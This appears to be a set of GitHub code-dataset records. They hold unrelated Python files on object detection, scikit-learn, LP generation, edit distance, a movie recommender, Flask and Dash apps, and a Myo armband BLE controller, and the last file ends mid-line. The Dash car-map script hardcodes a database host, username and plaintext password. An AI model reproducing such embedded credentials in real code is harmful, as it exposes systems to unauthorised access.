debug(rpn_class_probs=[], rpn_bbox=[], input_anchors=[]):\n from MaskRCNN.config import config as conf\n\n np.random.seed(325)\n\n batch_size = 1\n if len(rpn_class_probs) == 0:\n rpn_class_probs = np.array(np.random.random((batch_size, 4092, 2)), dtype='float32')\n batch_size = len(rpn_class_probs)\n if len(rpn_bbox) == 0:\n rpn_bbox = np.array(np.random.random((batch_size, 4092, 4)), dtype='float32')\n if len(input_anchors) == 0:\n input_anchors = np.array(np.random.random((batch_size, 4092, 4)), dtype='float32')\n\n obj_p = Proposals(conf, batch_size=batch_size, DEBUG = True)\n p_graph = obj_p.get_proposal_graph()\n anchor_delta_clipped = obj_p.get_anchors_delta_clipped()\n bbox_delta, ix, scores, anchors, anchor_delta = obj_p.debug_outputs()\n \n # print(proposals)\n feed_dict = {p_graph['rpn_class_probs']: rpn_class_probs, p_graph['rpn_bbox']: rpn_bbox, p_graph['input_anchors']: input_anchors}\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n bbox_delta_ = sess.run(bbox_delta, feed_dict=feed_dict)\n ix_ = sess.run(ix, feed_dict=feed_dict)\n scores_ = sess.run(scores, feed_dict=feed_dict)\n anchors_ = sess.run(anchors, feed_dict=feed_dict)\n anchor_delta_ = sess.run(anchor_delta, feed_dict=feed_dict)\n anchor_delta_clipped_ = sess.run(anchor_delta_clipped, feed_dict=feed_dict)\n proposals_ = sess.run(p_graph['proposals'], feed_dict=feed_dict)\n \n print('bbox_delta_ ', bbox_delta_.shape, bbox_delta_)\n print('')\n print('ix_', ix_.shape, ix_)\n print('')\n print('scores_ ', scores_.shape, scores_)\n print('')\n print('anchors_ ', anchors_.shape, anchors_)\n print('')\n print('anchor_delta_ ', anchor_delta_.shape, anchor_delta_)\n print('')\n print('anchor_delta_clipped_ ', anchor_delta_clipped_.shape, anchor_delta_clipped_)\n print ('')\n print('proposals_ ', proposals_.shape, proposals_)\n\n# debug()\n\n# proposals_ (3, 4, 4) [[[ 0.65874195 0.71861047 0.04293984 0.36567649]\n# [ 0.40541095 0. 1. 0.84925073]\n# [ 0.47202766 0.35921511 0.86547446 0.11702123]\n# [ 0. 0. 0. 0. ]]\n#\n# [[ 0.43931955 0.66850889 0.88011879 0.01756686]\n# [ 0.65295255 0.29388487 0.98575372 0.38062903]\n# [ 0.12912896 0.89148813 1. 0.29394001]\n# [ 0.20838489 0.83945799 0.4669776 0.18857485]]\n#\n# [[ 0.70058942 0.12562102 0.49498993 0.64621913]\n# [ 0.62934375 0.90083236 0.43767858 0.28720659]\n# [ 0.14262199 0.79275632 0.66619712 0.93800408]\n# [ 0.56844062 0.66239381 0.56434339 0.89735448]]]","repo_name":"Sardhendu/ObjectDetection","sub_path":"MaskRCNN/building_blocks/proposals_tf.py","file_name":"proposals_tf.py","file_ext":"py","file_size_in_byte":17267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3236015134","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 24 21:54:13 2021\n\n@author: KOMATSU\n\"\"\"\nimport numpy as np\nfrom sklearn import datasets\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.metrics import accuracy_score\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\n\n\ndef plot_decision_regions(X, y, classifier, test_idx=None, resolution=0.02):\n # マーカーとカラーマップの準備\n markers = ('s', 'x', 'o', '^', 'v')\n colors = ('red', 'blue', 'lightgreen', 'gray', 'cyan')\n cmap = ListedColormap(colors[:len(np.unique(y))])\n # 決定領域のプロット\n x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n # グリッドポイントの生成\n xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, resolution),\n np.arange(x2_min, x2_max, resolution))\n # 各特徴量を1次元配列に変換して予測を実行\n Z = classifier.predict(np.array([xx1.ravel(), xx2.ravel()]).T)\n # 予測結果を元のグリッドポイントのデータサイズに変換\n Z = Z.reshape(xx1.shape)\n # グリッドポイントの等高線のプロット\n plt.contourf(xx1, xx2, Z, alpha=0.3, cmap=cmap)\n # 軸の範囲の設定\n plt.xlim(xx1.min(), xx1.max())\n plt.ylim(xx2.min(), xx2.max())\n # クラスごとに訓練データをプロット\n for idx, cl in enumerate(np.unique(y)):\n plt.scatter(x=X[y == cl, 0], y=X[y == cl, 1], alpha=0.8, c=colors[idx],\n marker=markers[idx], label=cl, edgecolor='black')\n # テストデータ点を目立たせる(点を○で表示)\n if test_idx:\n # すべてのデータ点をプロット\n X_test, y_test = X[test_idx, :], y[test_idx]\n plt.scatter(X_test[:, 0], X_test[:, 1], c='y', edgecolors='black',\n alpha=0.3, linewidths=1, marker='o', s=100,\n label='test set')\n\n\n# Irisデータをロード\niris = datasets.load_iris()\n\n# 3、4列目の特徴量を抽出\nX = iris.data[:, [2, 3]]\n\n# クラスラベルを取得\ny = iris.target\n\n# 一意なクラスラベルを出力\nprint('Class labels:', np.unique(y))\n\n# 訓練データとテストデータに分割\n# 全体の30%をテストデータに\nX_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.3, random_state=1, stratify=y)\n\n# P.51 分割の確認\n# 上記'Class lavels'でyには[0, 1, 2]だけが格納されていることを確認した。\n# 分割後の[0, 1, 2]の配分を見てみる。\nprint('Label counts in y:', np.bincount(y))\nprint('Label counts in y_train:', np.bincount(y_train))\nprint('Label counts in y_test:', np.bincount(y_test))\n\n\n# P.51 特徴量を標準化\nsc = StandardScaler()\n\n# 訓練データの平均と標準偏差を計算\nsc.fit(X_train)\n\n# 平均と標準偏差を用いて標準化\nX_train_std = sc.transform(X_train)\nX_test_std = sc.transform(X_test)\n\n# エポック数40、学習率0.1でパーセプトロンのインスタンスを生成\nppn = Perceptron(eta0=0.1, random_state=1)\n# 訓練データをモデルに適合させる\nppn.fit(X_train_std, y_train)\n\n# テストデータで予測を実施\ny_pred = ppn.predict(X_test_std)\n# 誤分類のデータ点の個数を表示\nprint('Misclassified examples: %d' % (y_test != y_pred).sum())\n# 分類器の正解率を表示\nprint('Accuracy: %.3f' % accuracy_score(y_test, y_pred))\n# 分類器の正解率を表示:記述的な\nprint('Accuracy2: %.3f' % ppn.score(X_test_std, y_test))\n\n\n# 訓練データとテストデータの特徴量を行方向に結合\nX_combined_std = np.vstack((X_train_std, X_test_std))\n# 訓練データとテストデータのクラスラベルを結合\ny_combined = np.hstack((y_train, y_test))\n# 決定境界のプロット\nplot_decision_regions(X=X_combined_std, y=y_combined, classifier=ppn,\n test_idx=range(105, 150))\n# 軸ラベルの決定\nplt.xlabel('petal length [standardized]')\nplt.ylabel('petal width [standardized]')\n# 凡例の設定(左上に配置)\nplt.legend(loc='upper left')\n# グラフを表示\nplt.tight_layout()\nplt.show()\n","repo_name":"mkomatsu-0223/Study_Machine-Learning","sub_path":"chapter3/3.2.1-1_scikit-learn.py","file_name":"3.2.1-1_scikit-learn.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73791119557","text":"import random\n\nfile1 = open('output.txt', 'w')\nfile2 = open('matriz-hotaken.txt', 'w')\nnw_ofertaF = open('noroeste_oferta.txt', 'w')\nnw_demandaF = open('noroeste_demanda.txt', 'w')\nnw_costoF = open('noroeste_costo.txt', 'w')\n#cij: horas mensuales asignadaas para el trabajo j al trabajador i\n#xij: Trabajador i asignado a trabajo j\nin1 = input()\nprint()\nn = int(in1)\nin1 = input()\nprint()\nm = int(in1)\n\nmatriz = []\nnw_oferta = []\nnw_demanda = []\nnw_costos = [[0 for _ in range(m)] for _ in range(n)]\n\ncostos = [[0 for _ in range(m)] for _ in range(n)]\nhoras_minimas = [[0 for _ in range(m)] for _ in range(n)]\nfor i in range(n):\n temp = []\n for j in range(m):\n costos[i][j] = random.randint(25, 50)\n nw_costos[i][j] = costos[i][j]\n horas_minimas[i][j] = random.randint(20, 50)\n temp.append([costos[i][j],0])\n matriz.append(temp)\n\nhoras_trabajadores = [0 for _ in range(n)]\ncostos_proyectos = [0 for _ in range(m)]\nhoras_proyectos = [0 for _ in range(m)]\n\nfor i in range(n):\n horas_trabajadores[i] = random.randint(50, 100)\n nw_oferta.append(horas_trabajadores[i])\n matriz[i].append(horas_trabajadores[i])\n\nfor i in range(m):\n horas_proyectos[i] = random.randint(10, 50)\n nw_demanda.append(horas_proyectos[i])\nmatriz.append(horas_proyectos)\n\nfor i in range(m):\n costos_proyectos[i] = random.randint(6250, 250000)\n\nnw_costoF.write(str(n) + \"\\n\")\nnw_costoF.write(str(m) + \"\\n\")\nfor i in range(n):\n for j in range(m):\n nw_costoF.write(str(nw_costos[i][j]))\n if j == m - 1: nw_costoF.write(\"\\n\")\n else: nw_costoF.write(\"/\")\n\n\nfor i in range(m):\n nw_demandaF.writelines(str(nw_demanda[i]) + \"\\n\")\n\nfor i in range(n):\n nw_ofertaF.writelines(str(nw_oferta[i]) + \"\\n\")\n\nnw_costoF.close()\nnw_demandaF.close()\nnw_ofertaF.close() \n\n\nfile2.write(str(n))\nfile2.write(\"\\n\")\nfile2.write(str(m))\nfile2.write(\"\\n\")\n\nfor fila in matriz:\n #print(fila)\n for x in fila:\n file2.write(str(x))\n file2.write(\"\\n\")\n #print(x)\nfile2.close()\n\nfo = \"min: \"\n\nfile1.write(\"min:\")\nfor i in range(n):\n for j in range(m):\n cost = costos[i][j]\n currx = str(cost) + \" c\" + str(i + 1) + \"_\" + str(j + 1)\n #fo = fo + \" +\" + currx\n file1.write(\" +\" + currx)\nfile1.write(\";\\n\")\nfile1.write(\"\\n\")\n#fo = fo + \";\"\n\n#print(fo)\n\nst = \"\"\n#Horas mensuales máximas por trabajador\nfor i in range(n):\n cost = horas_trabajadores[i]\n for j in range(m):\n currx = \" c\" + str(i + 1) + \"_\" + str(j + 1)\n if(j == 0): file1.write(\"+\" + currx)\n else: file1.write(\" +\" + currx)\n \n file1.write(\" <= \" + str(cost) + \";\\n\")\n #print(st)\n st = \"\"\nfile1.write(\"\\n\")\n#Horas mensuales mínimas por proyecto\nfor i in range(m):\n cost = horas_proyectos[i]\n for j in range(n):\n currx = \" c\" + str(j + 1) + \"_\" + str(i + 1)\n if(j == 0): file1.write(\"+\" + currx)\n else: file1.write(\" +\" + currx)\n file1.write(\" >= \" + str(cost) + \";\\n\")\n #print(st)\n st = \"\"\nfile1.write(\"\\n\")\n#Cantidad máxima de trabajadores asignados a un proyecto\nfor i in range(m):\n\n for j in range(n):\n currx = \" x\" + str(j + 1) + \"_\" + str(i + 1)\n if(j == 0): file1.write(\"+\" + currx)\n else: file1.write(\" +\" + currx)\n \n file1.write(\" <= 5;\\n\") \n #print(st)\n st = \"\"\nfile1.write(\"\\n\");\n\n#Cantidad máxima de proyectos asignados a un trabajador\nfor i in range(n):\n\n for j in range(m):\n currx = \" x\" + str(i + 1) + \"_\" + str(j + 1)\n if(j == 0): file1.write(\"+\" + currx)\n else: file1.write(\" +\" + currx)\n \n file1.write(\" <= 5;\\n\") \n #print(st)\n st = \"\"\nfile1.write(\"\\n\")\n\n#Límite de presupuesto por proyecto\nfor i in range(m):\n cost = costos_proyectos[i]\n for j in range(n):\n costo_t = costos[j][i]\n currx = str(costo_t) + \" c\" + str(j + 1) + \"_\" + str(i + 1)\n if(j == 0): file1.write(\"+\" + currx)\n else: file1.write(\" +\" + currx)\n \n file1.write(\" <= \" + str(cost) + \"; \\n\")\n #print(st)\n st = \"\"\nfile1.write(\"\\n\")\n\n\nst = \"\"\n#restricción de variables binarias\nfor i in range(n):\n for j in range(m):\n st = \"\"\n currx = \"c\" + str(i + 1) + \"_\" + str(j + 1)\n minim = horas_minimas[i][j]\n file1.write(currx + \"<= 10000000 x\" + str(i + 1) + \"_\" + str(j + 1) + \";\\n\")\n st = \"\"\n file1.write(currx + \" >= \" + str(minim) + \" x\" + str(i + 1) + \"_\" + str(j + 1) + \";\\n\")\n \nst = \"\"\n\n#Naturaleza de las variables\nfile1.write(\"bin\")\nfor i in range(n):\n for j in range(m):\n currx = \" x\" + str(i + 1) + \"_\" + str(j + 1)\n if( i == n - 1 and j == m - 1): file1.write(currx + \";\\n\")\n else: file1.write(currx + \",\")\n \nst = \"\"\n\nfile1.write(\"int\")\nfor i in range(n):\n for j in range(m):\n currx = \" c\" + str(i + 1) + \"_\" + str(j + 1)\n if( i == n - 1 and j == m - 1): file1.write(currx + \";\\n\")\n else: file1.write(currx + \",\")\nfile1.close()","repo_name":"AnakinBellakito/ProyectoOptimizacion","sub_path":"generador.py","file_name":"generador.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28241622988","text":" # -*- coding:utf-8 -*-\n\n\ndef edit_distance(word1, word2):\n \"\"\"\n leetcode 给定两个单词 word1 和 word2,计算出将 word1 转换成 word2 所使用的最少操作数\n https://leetcode-cn.com/problems/edit-distance/\n 使用动态规划求解两个单词的编辑距离\n :param word1: word1\n :param word2: word2\n :return: 返回最少操作次数\n \"\"\"\n m = len(word1)\n n = len(word2)\n\n # dp的形状是 m+1 * n+1 形状\n dp = [[0 for _ in range(n+1)] for _ in range(m+1)]\n\n # 处理第一行的编辑距离\n for i in range(n+1):\n dp[0][i] = i\n\n # 处理第一列的编辑距离\n for j in range(m+1):\n dp[j][0] = j\n\n # 动态更新剩余的操作次数矩阵\n for i in range(1, m+1):\n for j in range(1, n+1):\n # 如果word1的前i个字符的最后一个字符word1[i-1] 与\n # word2的前j个字符的最后一个字符 word2[j-1]一致的话\n if word1[i-1] == word2[j-1]:\n dp[i][j] = dp[i-1][j-1]\n else:\n dp[i][j] = min(dp[i-1][j], dp[i][j-1], dp[i-1][j-1]) + 1\n\n return dp[m][n]\n","repo_name":"Batman001/leetcode_in_python","sub_path":"dp/edit-distance.py","file_name":"edit-distance.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"24413779799","text":"import streamlit as st\nimport pandas as pd\nimport pickle\nimport requests # api\n\nsimulary=pickle.load(open(\"simulary.pklsimulary.pkl\",\"rb\"))\n\nst.title(\"Movie Recomender System\")\n\ndf=pd.read_csv(\"new_tmbd.csv\")\nmovie_name=df[\"title\"].values\n\n\ndef simul(movie):\n index = df[df[\"title\"] == movie].index[0]\n distance = simulary[index]\n # for 1st movie 2 movies simularities and 1st movie 3 movie simularities , 1 move 4th....\n list_v = sorted(list(enumerate(distance)), reverse=True, key=lambda x: x[1])[1:6]\n re_m=[]\n recommended_movie_posters = []\n\n for i in list_v:\n movie_id = df.iloc[i[0]].movie_id\n c = i[0]\n re_m.append(df.iloc[c][\"title\"])\n recommended_movie_posters.append(fetch_poster(movie_id))\n\n return re_m,recommended_movie_posters\n\n\n\ndef fetch_poster(movie_id):\n url = \"https://api.themoviedb.org/3/movie/{}?api_key=< PASTE UR TOKEN HRER >&language=en-US\".format(movie_id)\n #over here the \"{}\" we put the \"format(movie_id)\" over there\n data = requests.get(url)\n data = data.json()\n poster_path = data['poster_path']\n full_path = \"https://image.tmdb.org/t/p/w500/\" + poster_path\n return full_path\n\n\n\n\n\nselect = st.selectbox(\n 'What would you like to see',\n (movie_name))\n\nif st.button('Recommend'):\n ss,recommended_movie_posters = simul(select)\n lis=[]\n for i in ss:\n lis.append(i)\n #st.write(i)\n\n\n col1, col2, col3, col4, col5 = st.columns(5)\n\n with col1:\n st.text(lis[0])\n st.image(recommended_movie_posters[0])\n\n with col2:\n st.text(lis[1])\n st.image(recommended_movie_posters[1])\n\n with col3:\n st.text(lis[2])\n st.image(recommended_movie_posters[2])\n with col4:\n st.text(lis[3])\n st.image(recommended_movie_posters[3])\n\n with col5:\n st.text(lis[4])\n st.image(recommended_movie_posters[4])\n","repo_name":"Smith-S-S/Recommended-System-Project","sub_path":"Movie_ Recommended_System/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15407654509","text":"import pandas as pd\nimport tkinter as tk\nimport tkinter.filedialog as filedialog\nfrom StudentClass import Student\n\n\nclass Import(tk.Tk):\n \n\n def __init__(self):\n \n tk.Tk.__init__(self)\n open_btn = tk.Button(self, text=\"Open\", command=self.open_file)\n open_btn.pack()\n\n self.student_label = tk.Label(self, text=\"\")\n self.student_label.pack()\n \n self.mainloop()\n \n def open_file(self):\n file = filedialog.askopenfile()\n btn_list = []\n f = pd.read_csv(file)\n for name in f:\n \n # name_btn = tk.Button(self, text=name, command=lambda: self.display_student(name_btn.cget(\"text\")))\n btn_list.append(Student(name, self.student_label))\n # btn_list.append(tk.Button(self, text=name, command=lambda : self.display_student(self.cget(\"text\"))))\n for btn in btn_list:\n btn.pack(expand=True, fill=tk.BOTH)\n \n\nif __name__ == \"__main__\":\n Import()\n\n\n# names = pd.read_csv(\"students.csv\")\n\n# for name in names: \n# print(name)\n\n# Click button to initiate import of student name file/csv\n# Possibly preview data from that file. Names should all be separated by commas\n# Load names into a list or other appropriate data structure\n# Loop through names and create tkinter buttons with corresponding names\n# When a student is clicked, their name will be displayed as an active user which assignments will currently be downloaded for\n","repo_name":"Cheetahbay/AssignmentCompiler","sub_path":"import_students.py","file_name":"import_students.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"12186180444","text":"import sys\nimport re\n\ndef histogram(filename):\n source_text = open(filename, \"r\")\n words_incl_mark = source_text.read()\n mark = re.compile(r\"[^a-zA-Z0-9]\")\n words_wo_mark = mark.sub(\" \", words_incl_mark)\n words_wo_mark_wo_upper = words_wo_mark.lower()\n words_list = words_wo_mark_wo_upper.split()\n words_dictionary = {}\n for words_key in words_list:\n words_dictionary[words_key] = words_dictionary.get(words_key, 0) + 1\n\n # [brian] The .get(key, default) is a neat trick, but python gives you\n # an even easier option!\n\n from collections import defaultdict\n words_dictionary = defaultdict(int)\n for words_key in words_list:\n words_dictionary[words_key] += 1\n\n # The defaultdict constructor accepts a function, and when the key isn't\n # found calls that function instead of throwing an Exception. Here, `int`\n # is a function which returns 0, the default value.\n # https://docs.python.org/2/library/collections.html#collections.defaultdict\n\n return(words_dictionary)\n\n\ndef unique_words(histogram_arg):\n number_of_unique_words = len(histogram_arg.keys())\n return(number_of_unique_words)\n\n\ndef frequency(word_arg, histogram_arg):\n word_freq = histogram_arg.get(word_arg, 0)\n return(word_freq)\n\n\nif __name__ == '__main__':\n filename = sys.argv[1]\n print(histogram(filename))\n print(unique_words(histogram(filename)))\n word_selected = sys.argv[2]\n print(frequency(word_selected, histogram(filename)))\n","repo_name":"MakeSchool-17/twitter-bot-python-kazoo-kmt","sub_path":"frequency_byDictionary.py","file_name":"frequency_byDictionary.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74578498437","text":"from flask import Flask, render_template, request, redirect, url_for, session, flash, jsonify\r\nfrom str2json import str2json\r\n\r\nimport sys\r\nsys.path.insert(0, 'BiDAF')\r\nfrom model_prediction import predict\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef home():\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/process', methods=['POST'])\r\ndef process():\r\n para = request.form['para']\r\n Q1 = request.form['Q1']\r\n Q2 = request.form['Q2']\r\n Q3 = request.form['Q3']\r\n\r\n questions = [Q1, Q2, Q3]\r\n try:\r\n questions = [x for x in questions if x != '']\r\n except:\r\n pass\r\n str2json(para, questions)\r\n answers = predict()\r\n return_answer = {}\r\n\r\n for answer_index in range(len(answers)):\r\n return_answer['ans{}'.format(answer_index+1)] = answers[answer_index]\r\n\r\n return jsonify(return_answer)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"learlinian/BiDAF-Question-and-Answer-System","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"2776563215","text":"import numpy as np\nimport pandas as pd\nimport psycopg2\nimport pandas.io.sql as sqlio\nimport matplotlib.pyplot as plt\nimport pylab as pl\nimport folium\nimport json\nimport os\nfrom folium import plugins\nfrom waitress import serve\n# %matplotlib inline\n\nimport plotly.graph_objects as go\nimport dash\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Input, Output, State\nimport plotly.express as px\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\n\nwith open('Data_to_Otomoto.json') as file:\n Data_to_Otomoto = json.loads(file.read())\n car_brand = Data_to_Otomoto[\"car_brand\"]\n options = Data_to_Otomoto[\"options\"]\n\npsql = psycopg2.connect(host='192.168.10.163', port='5432', database='Otomoto', user='barto', password='biznes')\n\ncur = psql.cursor()\nsql_otomoto = \"SELECT * FROM otomoto_10;\"\ndat_otomoto = sqlio.read_sql_query(sql_otomoto, psql)\nconn = None\n\ncar_loc = dat_otomoto[[\"latitude\",\"longitude\",\"cena\",\"marka_pojazdu\"]]\n\na = 0\nfor index, row in car_loc.iterrows():\n if (np.isnan(car_loc.at[index,'latitude']) or np.isnan(car_loc.at[index,'longitude']) \n or np.isnan(car_loc.at[index,'cena'])):\n car_loc = car_loc.drop([index])\n a += 1\nprint(\"Drop rows where Nan from table otomoto: \", a)\n\n# car_loc = car_loc.sample(n=1000)\n\ncar_loc = car_loc.reset_index(drop=True)\n\ndef world_new(): \n my_world = folium.Map(\n zoom_start=6,\n location=[51.9194, 19.1451], prefer_canvas=True)\n my_world = plugins.MarkerCluster().add_to(my_world)\n return my_world \n\nmax_value_price = car_loc[\"cena\"].max()\nmin_value_price = car_loc[\"cena\"].min()\ncar_loc_coll=car_loc\n\napp = dash.Dash(__name__,external_stylesheets=[dbc.themes.LITERA])\n\napp.layout = html.Div(children=[\ndbc.Row(\n dbc.Col(html.H1('Cars for sell in Otomoto',style={'textAlign': 'center','front-size' :50}))),\ndbc.Row(children=[\n dbc.Col(html.Iframe(id = 'map', srcDoc = world_new().get_root().render(),\n width = '100%',height = '100%', className='map'),\n width=8, lg={'size': 8,'order': 'first'}),\n dbc.Col(style={'text-align': 'center'}, children=[\n dcc.Input(id=\"Price_MIN\", type=\"number\", placeholder=\"Price_MIN\", value=1000, className='cell'),\n dcc.Input(id=\"Price_MAX\", type=\"number\", placeholder=\"Price_MAX\", value=1000000, className='cell'),\n html.Button(id='max-button', n_clicks=0, children=\"MAX\",\n className='button-max'),\n dcc.Dropdown(id='brand_dropdown',\n options=options,\n\n optionHeight=35, \n value=['Ferrari','Lamborghini','Bentley'], \n disabled=False, \n multi=True, \n searchable=True, \n search_value='', \n placeholder='Please select...', \n clearable=True, \n className='dropdown', \n ),\n \n html.Button(id='my-button', n_clicks=0, children=\"Update\", className='button-update'),\n html.Br(),\n html.Div(id='total_rows'),\n html.Br(), \n dcc.Graph(id=\"fig\")], width=8, lg={'size': 4, 'order': 'last'})])\n ])\n\n\n\n\n@app.callback(\n [dash.dependencies.Output('map', 'srcDoc'),\n dash.dependencies.Output('total_rows', 'children'),\n dash.dependencies.Output('fig', 'figure')],\n [dash.dependencies.State('Price_MIN', 'value'),\n dash.dependencies.State('Price_MAX', 'value'),\n dash.dependencies.State('brand_dropdown', 'value')],\n [dash.dependencies.Input('my-button', 'n_clicks')]\n )\n \ndef Rent_Price_Limiter(Price_MIN, Price_MAX, brand, n_clicks):\n\n car_loc_limit = car_loc.sort_values(by=['marka_pojazdu'])\n car_loc_limit = car_loc_limit.reset_index(drop=True)\n \n for row in range(len(car_loc_limit.index)):\n if car_loc_limit.at[row,'marka_pojazdu'] in brand:\n pass\n else:\n car_loc_limit = car_loc_limit.drop([row])\n \n car_loc_limit = car_loc_limit.reset_index(drop=True)\n \n my_world = world_new()\n \n car_loc_limit = car_loc_limit[car_loc.cena.between(Price_MIN, Price_MAX, inclusive=False)]\n car_loc_limit = car_loc_limit.reset_index(drop=True)\n \n for row in range(len(car_loc_limit.index)):\n folium.CircleMarker(\n location=[car_loc_limit.at[row,'latitude'], car_loc_limit.at[row,'longitude']],\n radius=3,\n popup='Price: ' + str(car_loc_limit.at[row,'cena']) + '
' +str(car_loc_limit.at[row,'marka_pojazdu']) ,\n color='red',\n fill=True,\n fill_color='red',\n fill_opacity=1\n ).add_to(my_world)\n\n html_string = my_world.get_root().render()\n \n total_rows = len(car_loc_limit.index)\n \n pie_data = car_loc_limit['marka_pojazdu'].value_counts()\n pie_data = pie_data.to_frame()\n pie_data.reset_index(inplace=True)\n \n fig = go.Figure(data=[go.Pie(labels=pie_data['index'], values=pie_data['marka_pojazdu'], textinfo='none')])\n \n return html_string, total_rows, fig\n\n@app.callback(\n [dash.dependencies.Output('Price_MIN', 'value'),\n dash.dependencies.Output('Price_MAX', 'value')],\n [dash.dependencies.Input('max-button', 'n_clicks')]\n )\n\ndef give_max(n_clicks_price_sell): \n return min_value_price, max_value_price\n\n\nif __name__ == '__main__':\n # app.run_server(host='0.0.0.0', port=8050)\n serve(app.server, host='0.0.0.0', port=8050) # PRODUCTION","repo_name":"Bartoszcz28/Otomoto_web","sub_path":"dash_map.py","file_name":"dash_map.py","file_ext":"py","file_size_in_byte":5400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73561141318","text":"#!/usr/bin/env python\n\n# Charles Lambelet - 20.07.18\n# charles.lambelet88@gmail.com\n\n# Connect Myo to Raspberry Pi 3/Zero W with Python over BLE\nimport pexpect\nimport time\nimport serial\n# import common\n# import filtering\n\nfrom common import *\nfrom filtering import *\n\nser = serial.Serial(\n # port='/dev/ttyAMA0', # use ttyAMA0 when not using bluetooth on RPi3/Zero W\n port='/dev/ttyS0', # use miniUART and leave main UART to bluetooth module\n baudrate=115200,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=1\n )\n\nif ser.isOpen():\n ser.close()\nser.open()\nser.isOpen()\n\n\n# function to connect to the Myo.\ndef connect(child, device):\n '''Function to connect to the Myo'''\n print(\"Connecting to \"),\n print(device),\n child.sendline(\"connect {0}\".format(device))\n child.expect(\"Connection successful\", timeout=5)\n print(\" Connected!\")\n\n\n# function to disconnect from the Myo.\ndef disconnect(child, device):\n '''Function to disconnect from the Myo'''\n print(\"Disconnecting to \"),\n print(device),\n child.sendline(\"disconnect {0}\".format(device))\n print(\" Disonnected!\")\n\n\n# function to get the name of the Myo.\ndef get_name(child):\n '''Function to get the name of the Myo'''\n child.sendline(\"char-read-hnd 0x03\")\n child.expect(\"Characteristic value/descriptor:\", timeout=10)\n # look for end of line with \\r\\n\n child.expect(\"\\r\\n\", timeout=10)\n # get returned string (space separated) up to expected string pattern\n name_str = child.before\n # remove all spaces in string\n name_str = name_str.replace(' ', '')\n # decode hex string into ASCII\n name_myo = name_str.decode('hex')\n print(\"Device name: \"),\n print(name_myo)\n\n\n# function to get firmware version.\ndef get_firmware(child):\n '''Function to get the firmware version'''\n child.sendline(\"char-read-hnd 0x17\")\n child.expect(\"Characteristic value/descriptor:\", timeout=10)\n child.expect(\"\\r\\n\", timeout=10)\n fw_str = child.before\n # remove last space in string (= 1 character)\n fw_str = fw_str[:-1]\n # replace spaces in string with \\x (\"\\\" is escape character)\n fw_str = fw_str.replace(' ', r'\\x').decode('string-escape')\n # decode string with unpack() function\n v0, v1, v2, v3 = unpack('4h', fw_str)\n print('Firmware version: %d.%d.%d.%d' % (v0, v1, v2, v3))\n\n\n# function to get battery level.\ndef get_battery_level(child):\n '''Function to get the battery level'''\n child.sendline(\"char-read-hnd 0x0011\")\n child.expect(\"Characteristic value/descriptor:\", timeout=10)\n child.expect(\"\\r\\n\", timeout=10)\n print(\"Battery percentage: \"),\n # convert hex string into int and then into float\n print(float(int(child.before, 16))),\n print(\"%\")\n\n\n# function to make Myo vibrate from 1 to 3 seconds\ndef vibrate(child, length):\n '''Function to make the Myo vibrate for length seconds'''\n print(\"The Myo will vibrate during \" + str(length) + \" second(s)\")\n # change duration of vibration in command string\n string = 'char-write-req 0x19 03010' + str(length)\n child.sendline(string)\n\n\n# function to change color of logo and line\n# first 3B are for logo and last 3B are for line\n# use RGB color code in hex to assign desired color to logo and line\n# for instance: logo = 0000ff (blue) and line = ff0000 (red)\n# logo and line must be string type\ndef set_leds(child, logo, line):\n '''Function to change color and intensity of logo and line of Myo'''\n string = 'char-write-req 0x19 0606' + str(logo) + str(line)\n child.sendline(string)\n\n\n# function to start sending raw data and pose notifications\ndef start_raw(child):\n '''Sending this sequence for v1.0 firmware seems to enable both raw data and\n pose notifications.\n '''\n\n # enable IMU data\n # child.sendline(\"char-write-req 0x1d 0100\")\n # start sending raw data (IMU (if enabled above) and EMG)\n child.sendline(\"char-write-req 0x28 0100\")\n child.sendline(\"char-write-req 0x19 0103010100\")\n child.sendline(\"char-write-req 0x19 0103010101\") # without this command the Myo disconnects after about 1 min.\n\n\n# function to start sending raw data and pose notifications\ndef start_raw_fast(child):\n '''Sending this sequence for v1.0 firmware enables fast data transfer\n at 200Hz.\n '''\n\n # enable IMU data\n # child.sendline(\"char-write-req 0x1d 0100\")\n # disable IMU data\n child.sendline(\"char-write-req 0x1d 0000\")\n # enable on/off arm notifications\n # child.sendline(\"char-write-req 0x24 